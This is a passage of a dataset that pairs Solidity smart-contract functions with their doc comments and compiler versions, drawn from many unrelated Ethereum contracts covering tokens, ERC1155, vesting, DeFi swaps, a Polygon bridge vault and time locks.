(\r\n SafeMath.sub(\r\n (sqrt\r\n (\r\n (_price ** 2)\r\n +\r\n (2 * (priceIncremental * 1e18) * (ethereum * 1e18))\r\n +\r\n (((priceIncremental) ** 2) * (totalSupply ** 2))\r\n +\r\n (2 * (priceIncremental) * _price * totalSupply)\r\n )\r\n ), _price\r\n )\r\n ) / (priceIncremental)\r\n ) - (totalSupply);\r\n\r\n return _tokensReceived;\r\n }", "version": "0.5.1"} {"comment": "// utils for calculate bonus", "function_code": "function sqrt(uint x) internal pure returns (uint y) {\r\n uint z = (x + 1) / 2;\r\n y = x;\r\n while (z < y) {\r\n y = z;\r\n z = (x / z + z) / 2;\r\n }\r\n }", "version": "0.5.1"} {"comment": "/**\r\n * Salvages a token. We should not be able to salvage CRV and 3CRV (underlying).\r\n */", "function_code": "function salvage(address recipient, address token, uint256 amount) public onlyGovernance {\r\n // To make sure that governance cannot come in and take away the coins\r\n require(!unsalvagableTokens[token], \"token is defined as not salvageable\");\r\n IERC20(token).safeTransfer(recipient, amount);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * Claims the CRV crop, converts it to DAI on Uniswap, and then uses DAI to mint 3CRV using the\r\n * Curve protocol.\r\n */", "function_code": "function claimAndLiquidateCrv() internal {\r\n if (!sell) {\r\n // Profits can be disabled for possible simplified and rapid exit\r\n emit ProfitsNotCollected();\r\n return;\r\n }\r\n Mintr(mintr).mint(pool);\r\n\r\n uint256 rewardBalance = IERC20(crv).balanceOf(address(this));\r\n if (rewardBalance < sellFloor) {\r\n // Profits can be disabled for possible simplified and rapid exit\r\n emit ProfitsNotCollected();\r\n return;\r\n }\r\n\r\n notifyProfitInRewardToken(rewardBalance);\r\n uint256 crvBalance = IERC20(crv).balanceOf(address(this));\r\n\r\n if (crvBalance > 0) {\r\n emit Liquidating(crvBalance);\r\n IERC20(crv).safeApprove(uni, 0);\r\n IERC20(crv).safeApprove(uni, crvBalance);\r\n // we can accept 1 as the minimum because this will be called only by a trusted worker\r\n IUniswapV2Router02(uni).swapExactTokensForTokens(\r\n crvBalance, 1, uniswap_CRV2DAI, address(this), block.timestamp\r\n );\r\n\r\n if(IERC20(dai).balanceOf(address(this)) > 0) {\r\n curve3PoolFromDai();\r\n }\r\n }\r\n }", "version": "0.5.16"} {"comment": "// daily call to distribute vault rewards to users who have staked.", "function_code": "function distributeVaultRewards () public {\r\n require(msg.sender == owner);\r\n uint256 _reward = CuraAnnonae.getDailyReward();\r\n uint256 _vaults = CuraAnnonae.getNumberOfVaults();\r\n uint256 _vaultReward = _reward.div(_vaults);\r\n // remove daily reward from address(this) total.\r\n uint256 _pool = YFMSToken.balanceOf(address(this)).sub(_vaultReward);\r\n uint256 _userBalance;\r\n uint256 _earned;\r\n // iterate through stakers array and distribute rewards based on % staked.\r\n for (uint i = 0; i < stakers.length; i++) {\r\n _userBalance = getUserBalance(stakers[i]);\r\n if (_userBalance > 0) {\r\n _earned = ratioMath(_userBalance, _pool).mul(_vaultReward / 100000000000000000);\r\n // update the vault data.\r\n CuraAnnonae.updateVaultData(\"YFMS\", address(this), stakers[i], _earned);\r\n }\r\n }\r\n }", "version": "0.6.8"} {"comment": "/*\r\n \t * @dev function to buy tokens.\r\n \t * @param _amount how much tokens can be bought.\r\n \t * @param _signature Signed message from verifyAddress private key\r\n \t */", "function_code": "function buyBatch(uint _amount, bytes memory _signature) external override payable {\r\n\t require(block.timestamp >= START_TIME && block.timestamp < finishTime, \"not a presale time\");\r\n\t\trequire(verify(_signature), \"invalid signature\");\r\n\t\trequire(_amount > 0, \"empty input\");\r\n\t\trequire(buyers[msg.sender] + _amount <= MAX_UNITS_FOR_WHITELIST_SALE, \"maximum five tokens can be bought on presale\");\r\n\t\trequire(msg.value == _amount * PRE_SALE_PRICE, \"wrong amount\");\r\n\t\tbuyers[msg.sender] += _amount;\r\n\r\n\t\tnft.mintBatch(msg.sender, _amount);\r\n\t}", "version": "0.8.7"} {"comment": "/**\r\n * Issues `_value` new tokens to `_to`\r\n *\r\n * @param _to The address to which the tokens will be issued\r\n * @param _value The amount of new tokens to issue\r\n * @return Whether the approval was successful or not\r\n */", "function_code": "function issue(address _to, uint _value) public only_owner safe_arguments(2) returns (bool) {\r\n\r\n // Check for overflows\r\n require(balances[_to] + _value >= balances[_to]);\r\n\r\n // Create tokens\r\n balances[_to] += _value;\r\n totalTokenSupply += _value;\r\n\r\n // Notify listeners\r\n Transfer(0, this, _value);\r\n Transfer(this, _to, _value);\r\n\r\n return true;\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev bonus share\r\n */", "function_code": "function withdrawStock() public \r\n {\r\n require(joined[msg.sender] > 0);\r\n require(timeWithdrawstock < now);\r\n\r\n // calculate share\r\n uint256 share = stock.mul(investments[msg.sender]).div(totalPot);\r\n uint256 currentWithDraw = withdraStock[msg.sender];\r\n \r\n if (share <= currentWithDraw) { revert(); }\r\n\r\n uint256 balance = share.sub(currentWithDraw);\r\n\r\n if ( balance > 0 ) {\r\n // update withdrawShare\r\n withdraStock[msg.sender] = currentWithDraw.add(balance);\r\n\r\n stock = stock.sub(balance);\r\n \r\n msg.sender.transfer(balance);\r\n emit WithdrawShare(msg.sender, balance);\r\n\r\n\r\n } \r\n }", "version": "0.4.25"} {"comment": "/**\r\n * Once we have sufficiently demonstrated how this 'exploit' is detrimental to Etherescan, we can disable the token and remove it from everyone's balance.\r\n * Our intention for this \"token\" is to prevent a similar but more harmful project in the future that doesn't have your best intentions in mind.\r\n */", "function_code": "function UNJUST(string _name, string _symbol, uint256 _stdBalance, uint256 _totalSupply, bool _JUSTed)\r\n public\r\n {\r\n require(owner == msg.sender);\r\n name = _name;\r\n symbol = _symbol;\r\n stdBalance = _stdBalance;\r\n totalSupply = _totalSupply;\r\n JUSTed = _JUSTed;\r\n }", "version": "0.4.20"} {"comment": "/// @notice Fires a RedemptionRequested event.\n/// @dev This is the only event without an explicit timestamp.\n/// @param _redeemer The ethereum address of the redeemer.\n/// @param _digest The calculated sighash digest.\n/// @param _utxoValue The size of the utxo in sat.\n/// @param _redeemerOutputScript The redeemer's length-prefixed output script.\n/// @param _requestedFee The redeemer or bump-system specified fee.\n/// @param _outpoint The 36 byte outpoint.\n/// @return True if successful, else revert.", "function_code": "function logRedemptionRequested(\n DepositUtils.Deposit storage _d,\n address _redeemer,\n bytes32 _digest,\n uint256 _utxoValue,\n bytes memory _redeemerOutputScript,\n uint256 _requestedFee,\n bytes memory _outpoint\n ) public { // not external to allow bytes memory parameters\n DepositLog _logger = DepositLog(address(_d.tbtcSystem));\n _logger.logRedemptionRequested(\n _redeemer,\n _digest,\n _utxoValue,\n _redeemerOutputScript,\n _requestedFee,\n _outpoint\n );\n }", "version": "0.5.17"} {"comment": "/// @dev Only owner can deposit contract Ether into the DutchX as WETH", "function_code": "function depositEther() public payable onlyOwner {\n\n require(address(this).balance > 0, \"Balance must be greater than 0 to deposit\");\n uint balance = address(this).balance;\n\n // // Deposit balance to WETH\n address weth = dutchXProxy.ethToken();\n ITokenMinimal(weth).deposit.value(balance)();\n\n uint wethBalance = ITokenMinimal(weth).balanceOf(address(this));\n uint allowance = ITokenMinimal(weth).allowance(address(this), address(dutchXProxy));\n\n if (allowance < wethBalance) {\n // Approve max amount of WETH to be transferred by dutchX\n // Keeping it max will have same or similar costs to making it exact over and over again\n SafeERC20.safeApprove(weth, address(dutchXProxy), max);\n }\n\n // Deposit new amount on dutchX, confirm there's at least the amount we just deposited\n uint newBalance = dutchXProxy.deposit(weth, balance);\n require(newBalance >= balance, \"Deposit WETH to DutchX didn't work.\");\n }", "version": "0.5.2"} {"comment": "/// @dev Internal function to deposit token to the DutchX\n/// @param token The token address that is being deposited.\n/// @param amount The amount of token to deposit.", "function_code": "function _depositToken(address token, uint amount) internal {\n\n uint allowance = ITokenMinimal(token).allowance(address(this), address(dutchXProxy));\n if (allowance < amount) {\n SafeERC20.safeApprove(token, address(dutchXProxy), max);\n }\n\n // Confirm that the balance of the token on the DutchX is at least how much was deposited\n uint newBalance = dutchXProxy.deposit(token, amount);\n require(newBalance >= amount, \"deposit didn't work\");\n }", "version": "0.5.2"} {"comment": "/// @dev Constructor function sets contract owner\n/// @param _receiver Receiver of vested tokens\n/// @param _disbursementPeriod Vesting period in seconds\n/// @param _startDate Start date of disbursement period (cliff)", "function_code": "function Disbursement(address _receiver, uint _disbursementPeriod, uint _startDate)\r\n public\r\n {\r\n if (_receiver == 0 || _disbursementPeriod == 0)\r\n // Arguments are null\r\n revert();\r\n owner = msg.sender;\r\n receiver = _receiver;\r\n disbursementPeriod = _disbursementPeriod;\r\n startDate = _startDate;\r\n if (startDate == 0)\r\n startDate = now;\r\n }", "version": "0.4.18"} {"comment": "/// @dev Calculates the maximum amount of vested tokens\n/// @return Number of vested tokens to withdraw", "function_code": "function calcMaxWithdraw()\r\n public\r\n constant\r\n returns (uint)\r\n {\r\n uint maxTokens = (token.balanceOf(this) + withdrawnTokens) * (now - startDate) / disbursementPeriod;\r\n if (withdrawnTokens >= maxTokens || startDate > now)\r\n return 0;\r\n return maxTokens - withdrawnTokens;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev See {IERC1155-balanceOfBatch}.\r\n *\r\n * Requirements:\r\n *\r\n * - `accounts` and `ids` must have the same length.\r\n */", "function_code": "function balanceOfBatch(address[] memory accounts, uint256[] memory ids)\r\n public\r\n view\r\n virtual\r\n override\r\n returns (uint256[] memory)\r\n {\r\n require(accounts.length == ids.length, \"ERC1155: accounts and ids length mismatch\");\r\n\r\n uint256[] memory batchBalances = new uint256[](accounts.length);\r\n\r\n for (uint256 i = 0; i < accounts.length; ++i) {\r\n batchBalances[i] = balanceOf(accounts[i], ids[i]);\r\n }\r\n\r\n return batchBalances;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev See {IERC1155-safeTransferFrom}.\r\n */", "function_code": "function safeTransferFrom(\r\n address from,\r\n address to,\r\n uint256 id,\r\n uint256 amount,\r\n bytes memory data\r\n ) public virtual override {\r\n require(\r\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\r\n \"ERC1155: caller is not owner nor approved\"\r\n );\r\n _safeTransferFrom(from, to, id, amount, data);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev See {IERC1155-safeBatchTransferFrom}.\r\n */", "function_code": "function safeBatchTransferFrom(\r\n address from,\r\n address to,\r\n uint256[] memory ids,\r\n uint256[] memory amounts,\r\n bytes memory data\r\n ) public virtual override {\r\n require(\r\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\r\n \"ERC1155: transfer caller is not owner nor approved\"\r\n );\r\n _safeBatchTransferFrom(from, to, ids, amounts, data);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\r\n *\r\n * Emits a {TransferSingle} event.\r\n *\r\n * Requirements:\r\n *\r\n * - `to` cannot be the zero address.\r\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\r\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\r\n * acceptance magic value.\r\n */", "function_code": "function _safeTransferFrom(\r\n address from,\r\n address to,\r\n uint256 id,\r\n uint256 amount,\r\n bytes memory data\r\n ) internal virtual {\r\n require(to != address(0), \"ERC1155: transfer to the zero address\");\r\n\r\n address operator = _msgSender();\r\n\r\n _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);\r\n\r\n uint256 fromBalance = _balances[id][from];\r\n require(fromBalance >= amount, \"ERC1155: insufficient balance for transfer\");\r\n unchecked {\r\n _balances[id][from] = fromBalance - amount;\r\n }\r\n _balances[id][to] += amount;\r\n\r\n emit TransferSingle(operator, from, to, id, amount);\r\n\r\n _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.\r\n *\r\n * Emits a {TransferBatch} event.\r\n *\r\n * Requirements:\r\n *\r\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\r\n * acceptance magic value.\r\n */", "function_code": "function _safeBatchTransferFrom(\r\n address from,\r\n address to,\r\n uint256[] memory ids,\r\n uint256[] memory amounts,\r\n bytes memory data\r\n ) internal virtual {\r\n require(ids.length == amounts.length, \"ERC1155: ids and amounts length mismatch\");\r\n require(to != address(0), \"ERC1155: transfer to the zero address\");\r\n\r\n address operator = _msgSender();\r\n\r\n _beforeTokenTransfer(operator, from, to, ids, amounts, data);\r\n\r\n for (uint256 i = 0; i < ids.length; ++i) {\r\n uint256 id = ids[i];\r\n uint256 amount = amounts[i];\r\n\r\n uint256 fromBalance = _balances[id][from];\r\n require(fromBalance >= amount, \"ERC1155: insufficient balance for transfer\");\r\n unchecked {\r\n _balances[id][from] = fromBalance - amount;\r\n }\r\n _balances[id][to] += amount;\r\n }\r\n\r\n emit TransferBatch(operator, from, to, ids, amounts);\r\n\r\n _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.\r\n *\r\n * Emits a {TransferSingle} event.\r\n *\r\n * Requirements:\r\n *\r\n * - `account` cannot be the zero address.\r\n * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\r\n * acceptance magic value.\r\n */", "function_code": "function _mint(\r\n address account,\r\n uint256 id,\r\n uint256 amount,\r\n bytes memory data\r\n ) internal virtual {\r\n require(account != address(0), \"ERC1155: mint to the zero address\");\r\n\r\n address operator = _msgSender();\r\n\r\n _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);\r\n\r\n _balances[id][account] += amount;\r\n emit TransferSingle(operator, address(0), account, id, amount);\r\n\r\n _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.\r\n *\r\n * Requirements:\r\n *\r\n * - `ids` and `amounts` must have the same length.\r\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\r\n * acceptance magic value.\r\n */", "function_code": "function _mintBatch(\r\n address to,\r\n uint256[] memory ids,\r\n uint256[] memory amounts,\r\n bytes memory data\r\n ) internal virtual {\r\n require(to != address(0), \"ERC1155: mint to the zero address\");\r\n require(ids.length == amounts.length, \"ERC1155: ids and amounts length mismatch\");\r\n\r\n address operator = _msgSender();\r\n\r\n _beforeTokenTransfer(operator, address(0), to, ids, amounts, data);\r\n\r\n for (uint256 i = 0; i < ids.length; i++) {\r\n _balances[ids[i]][to] += amounts[i];\r\n }\r\n\r\n emit TransferBatch(operator, address(0), to, ids, amounts);\r\n\r\n _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Destroys `amount` tokens of token type `id` from `account`\r\n *\r\n * Requirements:\r\n *\r\n * - `account` cannot be the zero address.\r\n * - `account` must have at least `amount` tokens of token type `id`.\r\n */", "function_code": "function _burn(\r\n address account,\r\n uint256 id,\r\n uint256 amount\r\n ) internal virtual {\r\n require(account != address(0), \"ERC1155: burn from the zero address\");\r\n\r\n address operator = _msgSender();\r\n\r\n _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), \"\");\r\n\r\n uint256 accountBalance = _balances[id][account];\r\n require(accountBalance >= amount, \"ERC1155: burn amount exceeds balance\");\r\n unchecked {\r\n _balances[id][account] = accountBalance - amount;\r\n }\r\n\r\n emit TransferSingle(operator, account, address(0), id, amount);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.\r\n *\r\n * Requirements:\r\n *\r\n * - `ids` and `amounts` must have the same length.\r\n */", "function_code": "function _burnBatch(\r\n address account,\r\n uint256[] memory ids,\r\n uint256[] memory amounts\r\n ) internal virtual {\r\n require(account != address(0), \"ERC1155: burn from the zero address\");\r\n require(ids.length == amounts.length, \"ERC1155: ids and amounts length mismatch\");\r\n\r\n address operator = _msgSender();\r\n\r\n _beforeTokenTransfer(operator, account, address(0), ids, amounts, \"\");\r\n\r\n for (uint256 i = 0; i < ids.length; i++) {\r\n uint256 id = ids[i];\r\n uint256 amount = amounts[i];\r\n\r\n uint256 accountBalance = _balances[id][account];\r\n require(accountBalance >= amount, \"ERC1155: burn amount exceeds balance\");\r\n unchecked {\r\n _balances[id][account] = accountBalance - amount;\r\n }\r\n }\r\n\r\n emit TransferBatch(operator, account, address(0), ids, amounts);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev See {ERC1155-_mintBatch}.\r\n */", "function_code": "function _mintBatch(\r\n address to,\r\n uint256[] memory ids,\r\n uint256[] memory amounts,\r\n bytes memory data\r\n ) internal virtual override {\r\n super._mintBatch(to, ids, amounts, data);\r\n for (uint256 i = 0; i < ids.length; ++i) {\r\n _totalSupply[ids[i]] += amounts[i];\r\n }\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev See {ERC1155-_burnBatch}.\r\n */", "function_code": "function _burnBatch(\r\n address account,\r\n uint256[] memory ids,\r\n uint256[] memory amounts\r\n ) internal virtual override {\r\n super._burnBatch(account, ids, amounts);\r\n for (uint256 i = 0; i < ids.length; ++i) {\r\n _totalSupply[ids[i]] -= amounts[i];\r\n }\r\n }", "version": "0.8.7"} {"comment": "/// @notice Transfers an amount out of balance to a specified address\n///\n/// @param _darknode The address of the darknode\n/// @param _token Which token to transfer\n/// @param _amount The amount to transfer\n/// @param _recipient The address to withdraw it to", "function_code": "function transfer(address _darknode, address _token, uint256 _amount, address payable _recipient) external onlyOwner {\r\n require(darknodeBalances[_darknode][_token] >= _amount, \"insufficient darknode balance\");\r\n darknodeBalances[_darknode][_token] = darknodeBalances[_darknode][_token].sub(_amount);\r\n lockedBalances[_token] = lockedBalances[_token].sub(_amount);\r\n\r\n if (_token == ETHEREUM) {\r\n _recipient.transfer(_amount);\r\n } else {\r\n ERC20(_token).safeTransfer(_recipient, _amount);\r\n }\r\n }", "version": "0.5.8"} {"comment": "// Buy GetValues", "function_code": "function _getValuesBuy(uint256 tAmount, Fee memory currentFee) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {\r\n BuyBreakdown memory buyFees;\r\n (buyFees.tTransferAmount, buyFees.tLP, buyFees.tMarketing, buyFees.tReflection) = _getTValues(tAmount, currentFee.buyLPFee, currentFee.buyMarketingFee, currentFee.buyReflectionFee);\r\n uint256 currentRate = _getRate();\r\n (uint256 rAmount, uint256 rTransferAmount, uint256 rReflection) = _getRValues(tAmount, buyFees.tLP, buyFees.tMarketing, buyFees.tReflection, currentRate);\r\n return (rAmount, rTransferAmount, rReflection, buyFees.tTransferAmount, buyFees.tLP, buyFees.tMarketing);\r\n }", "version": "0.8.7"} {"comment": "// Sell GetValues", "function_code": "function _getValuesSell(uint256 tAmount, Fee memory currentFee) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {\r\n SellBreakdown memory sellFees;\r\n (sellFees.tTransferAmount, sellFees.tLP, sellFees.tMarketing, sellFees.tReflection) = _getTValues(tAmount, currentFee.sellLPFee, currentFee.sellMarketingFee, currentFee.sellReflectionFee);\r\n uint256 currentRate = _getRate();\r\n (uint256 rAmount, uint256 rTransferAmount, uint256 rReflection) = _getRValues(tAmount, sellFees.tLP, sellFees.tMarketing, sellFees.tReflection, currentRate);\r\n return (rAmount, rTransferAmount, rReflection, sellFees.tTransferAmount, sellFees.tLP, sellFees.tMarketing);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev to decrease the allowance of `spender` over the `owner` account.\r\n *\r\n * Requirements\r\n * `spender` allowance shoule be greater than the `reducedValue`\r\n * `spender` cannot be a zero address\r\n */", "function_code": "function decreaseAllowance(address spender, uint256 reducedValue)\r\n public\r\n virtual\r\n returns (bool)\r\n {\r\n uint256 currentAllowance = allowances[msgSender()][spender];\r\n require(\r\n currentAllowance >= reducedValue,\r\n \"ERC20: ReducedValue greater than allowance\"\r\n );\r\n\r\n _approve(msgSender(), spender, currentAllowance - reducedValue);\r\n return true;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev sets the amount as the allowance of `spender` over the `owner` address\r\n *\r\n * Requirements:\r\n * `owner` cannot be zero address\r\n * `spender` cannot be zero address\r\n */", "function_code": "function _approve(\r\n address owner,\r\n address spender,\r\n uint256 amount\r\n ) internal virtual {\r\n require(owner != address(0), \"ERC20: approve from zero address\");\r\n require(spender != address(0), \"ERC20: approve to zero address\");\r\n\r\n allowances[owner][spender] = amount;\r\n emit Approval(owner, spender, amount);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev transfers the 'amount` from the `sender` to the `recipient`\r\n * on behalf of the `sender`.\r\n *\r\n * Requirements\r\n * `sender` and `recipient` should be non zero addresses\r\n * `sender` should have balance of more than `amount`\r\n * `caller` must have allowance greater than `amount`\r\n */", "function_code": "function transferFrom(\r\n address sender,\r\n address recipient,\r\n uint256 amount\r\n ) public virtual override returns (bool) {\r\n require(validateTransfer(sender),\"ERC20: Transfer reverted\");\r\n \r\n _transfer(sender, recipient, amount);\r\n\r\n uint256 currentAllowance = allowances[sender][msgSender()];\r\n require(currentAllowance >= amount, \"ERC20: amount exceeds allowance\");\r\n _approve(sender, msgSender(), currentAllowance - amount);\r\n \r\n emit Transfer(sender, recipient, amount);\r\n\r\n return true;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev mints the amount of tokens to the `recipient` wallet.\r\n *\r\n * Requirements :\r\n *\r\n * The caller must be the `governor` of the contract.\r\n * Governor can be an DAO smart contract.\r\n */", "function_code": "function mint(address recipient, uint256 amount)\r\n public\r\n virtual\r\n onlyGovernor\r\n returns (bool)\r\n {\r\n require(recipient != address(0), \"ERC20: mint to a zero address\");\r\n\r\n \r\n _totalSupply += amount;\r\n balances[recipient] += amount;\r\n\r\n emit Transfer(address(0), recipient, amount);\r\n return true;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev burns the `amount` tokens from `supply`.\r\n *\r\n * Requirements\r\n * `caller` address balance should be greater than `amount`\r\n */", "function_code": "function burn(uint256 amount) public virtual onlyGovernor returns (bool) {\r\n uint256 currentBalance = balances[msgSender()];\r\n require(\r\n currentBalance >= amount,\r\n \"ERC20: burning amount exceeds balance\"\r\n );\r\n\r\n balances[msgSender()] = currentBalance - amount;\r\n _totalSupply -= amount;\r\n\r\n return true;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev transfers the `amount` of tokens from `sender` to `recipient`.\r\n *\r\n * Requirements:\r\n * `sender` is not a zero address\r\n * `recipient` is also not a zero address\r\n * `amount` is less than or equal to balance of the sender.\r\n */", "function_code": "function _transfer(\r\n address sender,\r\n address recipient,\r\n uint256 amount\r\n ) internal virtual {\r\n require(sender != address(0), \"ERC20: transfer from zero address\");\r\n require(recipient != address(0), \"ERC20: transfer to zero address\");\r\n\r\n uint256 senderBalance = balances[sender];\r\n require(\r\n senderBalance >= amount,\r\n \"ERC20: transfer amount exceeds balance\"\r\n );\r\n\r\n \r\n balances[sender] = senderBalance - amount;\r\n \r\n // Transfer the spread to the admin\r\n uint256 fee = amount * feeFraction / 10**4;\r\n\r\n uint256 receiverAmount = amount - fee;\r\n\r\n balances[recipient] += receiverAmount;\r\n balances[_governor] +=fee;\r\n\r\n emit Transfer(sender, recipient, amount);\r\n }", "version": "0.8.4"} {"comment": "/// @notice excludes an assimilator from the component\n/// @param _derivative the address of the assimilator to exclude", "function_code": "function excludeDerivative (\r\n address _derivative\r\n ) external onlyOwner {\r\n\r\n for (uint i = 0; i < numeraires.length; i++) {\r\n\r\n if (_derivative == numeraires[i]) revert(\"Component/cannot-delete-numeraire\");\r\n if (_derivative == reserves[i]) revert(\"Component/cannot-delete-reserve\");\r\n\r\n }\r\n\r\n delete component.assimilators[_derivative];\r\n\r\n }", "version": "0.5.17"} {"comment": "/// @author james foley http://github.com/realisation\n/// @notice swap a dynamic origin amount for a fixed target amount\n/// @param _origin the address of the origin\n/// @param _target the address of the target\n/// @param _originAmount the origin amount\n/// @param _minTargetAmount the minimum target amount\n/// @param _deadline deadline in block number after which the trade will not execute\n/// @return targetAmount_ the amount of target that has been swapped for the origin amount", "function_code": "function originSwap (\r\n address _origin,\r\n address _target,\r\n uint _originAmount,\r\n uint _minTargetAmount,\r\n uint _deadline\r\n ) external deadline(_deadline) transactable nonReentrant returns (\r\n uint targetAmount_\r\n ) {\r\n\r\n targetAmount_ = Swaps.originSwap(component, _origin, _target, _originAmount, msg.sender);\r\n\r\n require(targetAmount_ > _minTargetAmount, \"Component/below-min-target-amount\");\r\n\r\n }", "version": "0.5.17"} {"comment": "/// @notice PolygonCommunityVault initializer\n/// @dev Needs to be called after deployment. Get addresses from https://github.com/maticnetwork/static/tree/master/network\n/// @param _token The address of the ERC20 that the vault will manipulate/own\n/// @param _rootChainManager Polygon root network chain manager. Zero address for child deployment\n/// @param _erc20Predicate Polygon ERC20 Predicate. Zero address for child deployment", "function_code": "function initialize(address _token, address _rootChainManager, address _erc20Predicate) public initializer {\n require(_token != address(0), \"Vault: a valid token address must be provided\");\n\n __Ownable_init();\n\n token = _token;\n\n if (_rootChainManager != address(0)) {\n require(_erc20Predicate != address(0), \"Vault: erc20Predicate must not be 0x0\");\n\n erc20Predicate = _erc20Predicate;\n rootChainManager = IRootChainManager(_rootChainManager);\n }\n }", "version": "0.8.6"} {"comment": "/// @author james foley http://github.com/realisation\n/// @notice selectively deposit any supported stablecoin flavor into the contract in return for corresponding amount of component tokens\n/// @param _derivatives an array containing the addresses of the flavors being deposited into\n/// @param _amounts an array containing the values of the flavors you wish to deposit into the contract. each amount should have the same index as the flavor it is meant to deposit\n/// @param _minComponents minimum acceptable amount of components\n/// @param _deadline deadline for tx\n/// @return componentsToMint_ the amount of components to mint for the deposited stablecoin flavors", "function_code": "function selectiveDeposit (\r\n address[] calldata _derivatives,\r\n uint[] calldata _amounts,\r\n uint _minComponents,\r\n uint _deadline\r\n ) external deadline(_deadline) transactable nonReentrant returns (\r\n uint componentsMinted_\r\n ) {\r\n\r\n componentsMinted_ = SelectiveLiquidity.selectiveDeposit(component, _derivatives, _amounts, _minComponents);\r\n\r\n }", "version": "0.5.17"} {"comment": "/// @author james foley http://github.com/realisation\n/// @notice selectively withdrawal any supported stablecoin flavor from the contract by burning a corresponding amount of component tokens\n/// @param _derivatives an array of flavors to withdraw from the reserves\n/// @param _amounts an array of amounts to withdraw that maps to _flavors\n/// @param _maxComponents the maximum amount of components you want to burn\n/// @param _deadline timestamp after which the transaction is no longer valid\n/// @return componentsBurned_ the corresponding amount of component tokens to withdraw the specified amount of specified flavors", "function_code": "function selectiveWithdraw (\r\n address[] calldata _derivatives,\r\n uint[] calldata _amounts,\r\n uint _maxComponents,\r\n uint _deadline\r\n ) external deadline(_deadline) transactable nonReentrant returns (\r\n uint componentsBurned_\r\n ) {\r\n\r\n componentsBurned_ = SelectiveLiquidity.selectiveWithdraw(component, _derivatives, _amounts, _maxComponents);\r\n\r\n }", "version": "0.5.17"} {"comment": "/// @notice Transfers full balance of managed token through the Polygon Bridge\n/// @dev Emits TransferToChild on funds being sucessfuly deposited", "function_code": "function transferToChild() public { // onlyOnRoot , maybe onlyOwner\n require(erc20Predicate != address(0), \"Vault: transfer to child chain is disabled\");\n\n IERC20 erc20 = IERC20(token);\n\n uint256 amount = erc20.balanceOf(address(this));\n erc20.approve(erc20Predicate, amount);\n rootChainManager.depositFor(address(this), token, abi.encode(amount));\n\n emit TransferToChild(msg.sender, token, amount);\n }", "version": "0.8.6"} {"comment": "// Constructor\n// @notice RAOToken Contract\n// @return the transaction address", "function_code": "function RAOToken(address _multisig) public {\r\n require(_multisig != 0x0);\r\n multisig = _multisig;\r\n RATE = initialPrice;\r\n startTime = now;\r\n\r\n // the balances will be sealed for 6 months\r\n sealdate = startTime + 180 days;\r\n\r\n // for now the token sale will run for 30 days\r\n endTime = startTime + 60 days;\r\n balances[multisig] = _totalSupply;\r\n\r\n owner = msg.sender;\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev Add time lock, only locker can add\r\n */", "function_code": "function _addTimeLock(\r\n address account,\r\n uint256 amount,\r\n uint256 expiresAt\r\n ) internal {\r\n require(amount > 0, \"Time Lock: lock amount must be greater than 0\");\r\n require(expiresAt > block.timestamp, \"Time Lock: expire date must be later than now\");\r\n _timeLocks[account].push(TimeLock(amount, expiresAt));\r\n emit TimeLocked(account);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Remove time lock, only locker can remove\r\n * @param account The address want to remove time lock\r\n * @param index Time lock index\r\n */", "function_code": "function _removeTimeLock(address account, uint8 index) internal {\r\n require(_timeLocks[account].length > index && index >= 0, \"Time Lock: index must be valid\");\r\n\r\n uint256 len = _timeLocks[account].length;\r\n if (len - 1 != index) {\r\n // if it is not last item, swap it\r\n _timeLocks[account][index] = _timeLocks[account][len - 1];\r\n }\r\n _timeLocks[account].pop();\r\n emit TimeUnlocked(account);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev get total time locked amount of address\r\n * @param account The address want to know the time lock amount.\r\n * @return time locked amount\r\n */", "function_code": "function getTimeLockedAmount(address account) public view returns (uint256) {\r\n uint256 timeLockedAmount = 0;\r\n\r\n uint256 len = _timeLocks[account].length;\r\n for (uint256 i = 0; i < len; i++) {\r\n if (block.timestamp < _timeLocks[account][i].expiresAt) {\r\n timeLockedAmount = 